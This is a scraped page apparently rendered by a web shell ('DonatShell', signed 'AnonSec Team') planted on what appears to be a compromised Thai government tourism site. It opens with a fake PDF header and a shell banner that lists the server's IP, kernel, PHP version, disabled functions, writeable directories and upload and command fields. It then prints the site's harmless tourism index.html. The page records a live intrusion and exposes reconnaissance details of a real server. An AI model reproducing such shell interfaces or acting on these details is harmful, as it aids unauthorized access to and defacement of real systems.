%PDF-1.5 % ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 122.155.177.87  /  Your IP : 122.155.177.87
Web Server : Apache/2
System : Linux cat177-87.static.lnwhostname.com 3.10.0-1160.62.1.el7.x86_64 #1 SMP Tue Apr 5 16:57:59 UTC 2022 x86_64
User : apache ( 994)
PHP Version : 5.3.29
Disable Function : dl,eval,exec,mail,passthru,popen,posix_getpwuid,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_uname,proc_close,proc_open,putenv,shell_exec,show_source,system
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/moungngam/domains/moungngam.go.th/public_html/tourism/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ HOME SHELL ]     

Current File : /home/moungngam/domains/moungngam.go.th/public_html/tourism/index.html
<!DOCTYPE html>
<html lang="th">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>ตลาดน้ำลาวเวียง | สถานที่ท่องเที่ยว</title>
<link rel="preconnect" href="https://fonts.googleapis.com">
<link href="https://fonts.googleapis.com/css2?family=Kanit:wght@400;500;600;700;800&family=Sarabun:wght@400;500;600&display=swap" rel="stylesheet">
<style>
    :root {
        --blue-1: #2fa9e9;
        --blue-2: #1f8fd6;
        --gold:   #f0a93a;
        --ink:    #1e2b20;
        --page:   #dff1fb;
    }
    * { box-sizing: border-box; }
    body {
        margin: 0;
        background: var(--page);
        font-family: "Sarabun", sans-serif;
        color: var(--ink);
    }
    .wrap {
        max-width: 1180px;
        margin: 0 auto;
        padding: 48px 24px;
    }
    .layout {
        display: grid;
        grid-template-columns: 320px 1fr;
        gap: 32px;
        align-items: start;
    }

    /* ---------------- LEFT: hero panel ---------------- */
    .hero {
        position: relative;
        background: url(images/shop-walk.jpg);
        border-radius: 28px;
        min-height: 620px;
        padding: 40px 30px;
        overflow: visible;
        box-shadow: 0 20px 45px rgba(31, 143, 214, 0.35);
    }
    .hero-badge {
        display: inline-block;
        background: var(--gold);
        color: #4a2c00;
        font-family: "Kanit", sans-serif;
        font-weight: 700;
        font-size: 17px;
        padding: 10px 22px;
        border-radius: 999px;
        box-shadow: 0 6px 14px rgba(0,0,0,0.15);
    }
    .hero-title {
        font-family: "Kanit", sans-serif;
        font-weight: 800;
        color: var(--gold);
        font-size: 46px;
        margin: 18px 0 0;
        line-height: 1;
        text-shadow: 0 4px 10px rgba(0,0,0,0.15);
    }
    .hero-bang {
        font-family: "Kanit", sans-serif;
        font-weight: 800;
        color: var(--ink);
        font-size: 30px;
        margin: 10px 0 0;
        letter-spacing: 2px;
    }

    .hero-photo {
        position: absolute;
        border-radius: 50%;
        border: 5px solid #fff;
        object-fit: cover;
        box-shadow: 0 10px 24px rgba(0,0,0,0.25);
    }
    .hero-photo.p1 { width: 190px; height: 190px; left: -22px; bottom: 30px; }
    .hero-photo.p2 { width: 150px; height: 150px; right: 10px; bottom: 190px; }

    .sticker {
        position: absolute;
        width: 56px;
        height: 56px;
        border-radius: 50%;
        background: #fff;
        display: flex;
        align-items: center;
        justify-content: center;
        font-size: 28px;
        box-shadow: 0 6px 14px rgba(0,0,0,0.18);
    }
    .sticker.s1 { top: 150px; left: -28px; }
    .sticker.s2 { top: 210px; right: -20px; }

    .fab-heart {
        position: absolute;
        right: 22px;
        bottom: 18px;
        width: 54px;
        height: 54px;
        border-radius: 50%;
        background: #ef4d63;
        color: #fff;
        display: flex;
        align-items: center;
        justify-content: center;
        font-size: 24px;
        box-shadow: 0 8px 18px rgba(239,77,99,0.45);
    }

    /* ---------------- RIGHT: tabs + grid ---------------- */
    .tabs {
        display: inline-flex;
        gap: 6px;
        background: #fff;
        padding: 8px;
        border-radius: 999px;
        box-shadow: 0 8px 20px rgba(31,143,214,0.15);
        margin-bottom: 22px;
        flex-wrap: wrap;
    }
    .tab {
        font-family: "Kanit", sans-serif;
        font-size: 14.5px;
        font-weight: 500;
        padding: 10px 20px;
        border-radius: 999px;
        color: #55606a;
        cursor: pointer;
        border: none;
        background: transparent;
        transition: background .2s, color .2s;
    }
    .tab.active {
        background: #eef3f8;
        color: var(--blue-2);
        font-weight: 600;
    }

    .grid {
        display: grid;
        grid-template-columns: repeat(3, 1fr);
        gap: 18px;
    }
    .card {
        position: relative;
        border-radius: 16px;
        overflow: hidden;
        height: 190px;
        box-shadow: 0 8px 18px rgba(20,40,60,0.15);
    }
    .card[data-cat] { display: block; }
    .card.hidden { display: none; }
    .card img {
        width: 100%;
        height: 100%;
        object-fit: cover;
        display: block;
        transition: transform .5s ease;
    }
    .card:hover img { transform: scale(1.07); }
    .card .label {
        position: absolute;
        left: 0; right: 0; bottom: 0;
        padding: 12px 14px;
        background: linear-gradient(0deg, rgba(10,15,20,0.85), rgba(10,15,20,0));
        color: #fff;
        font-family: "Kanit", sans-serif;
        font-weight: 600;
        font-size: 15px;
    }

    @media (max-width: 860px) {
        .layout { grid-template-columns: 1fr; }
        .hero { min-height: 420px; }
        .hero-photo.p1 { width: 130px; height: 130px; }
        .hero-photo.p2 { width: 100px; height: 100px; bottom: 140px; }
        .grid { grid-template-columns: repeat(2, 1fr); }
    }
</style>
</head>
<body>
<div class="wrap">
    <div class="layout">

        <!-- LEFT HERO -->
        <div class="hero">
            <span class="hero-badge">สถานที่ท่องเที่ยว</span>
            <div class="hero-title">แนะนำ</div>
            <div class="hero-bang">!!!</div>

            <img class="hero-photo p1" src="images/group-costume.jpg" alt="ชุดลาวเวียง">
            <img class="hero-photo p2" src="images/dance-show.jpg" alt="การแสดงพื้นบ้าน">

            <div class="sticker s1">😆</div>
            <div class="sticker s2">😍</div>
            <div class="fab-heart">♥</div>
        </div>

        <!-- RIGHT CONTENT -->
        <div>
            <div class="tabs">
                <button class="tab active" data-filter="all">ทั้งหมด</button>
                <button class="tab" data-filter="nature">ธรรมชาติ</button>
                <button class="tab" data-filter="culture">วิถีวัฒนธรรม</button>
                <button class="tab" data-filter="shopping">ช้อปปิ้ง</button>
                <button class="tab" data-filter="food">ร้านอาหาร</button>
            </div>

            <div class="grid">
                <div class="card" data-cat="nature">
                    <img src="images/unnamed.webp" alt="ตลาดน้ำลาวเวียง">
                    <div class="label">ตลาดน้ำลาวเวียง</div>
                </div>
                <div class="card" data-cat="nature">
                    <img src="images/river-view.jpg" alt="ศาลาริมน้ำ">
                    <div class="label">ศาลาริมน้ำ</div>
                </div>
                <div class="card" data-cat="culture">
                    <img src="images/group-costume.jpg" alt="ชุดลาวเวียงดั้งเดิม">
                    <div class="label">ชุดลาวเวียงดั้งเดิม</div>
                </div>
                <div class="card" data-cat="culture">
                    <img src="images/dance-show.jpg" alt="การแสดงพื้นบ้าน">
                    <div class="label">การแสดงพื้นบ้าน</div>
                </div>
                <div class="card" data-cat="food">
                    <img src="images/grilled-banana.jpg" alt="กล้วยปิ้งใบตอง">
                    <div class="label">กล้วยปิ้งใบตอง</div>
                </div>
                <div class="card" data-cat="shopping">
                    <img src="images/shop-walk.jpg" alt="ทางเดินร้านค้า">
                    <div class="label">ทางเดินร้านค้า</div>
                </div>
            </div>
        </div>

    </div>
</div>

<script>
    var tabs = document.querySelectorAll(".tab");
    var cards = document.querySelectorAll(".card");
    for (var i = 0; i < tabs.length; i++) {
        tabs[i].addEventListener("click", function () {
            for (var j = 0; j < tabs.length; j++) tabs[j].classList.remove("active");
            this.classList.add("active");
            var filter = this.getAttribute("data-filter");
            for (var k = 0; k < cards.length; k++) {
                var cat = cards[k].getAttribute("data-cat");
                cards[k].classList.toggle("hidden", filter !== "all" && filter !== cat);
            }
        });
    }
</script>
</body>
</html>

Anon7 - 2022
AnonSec Team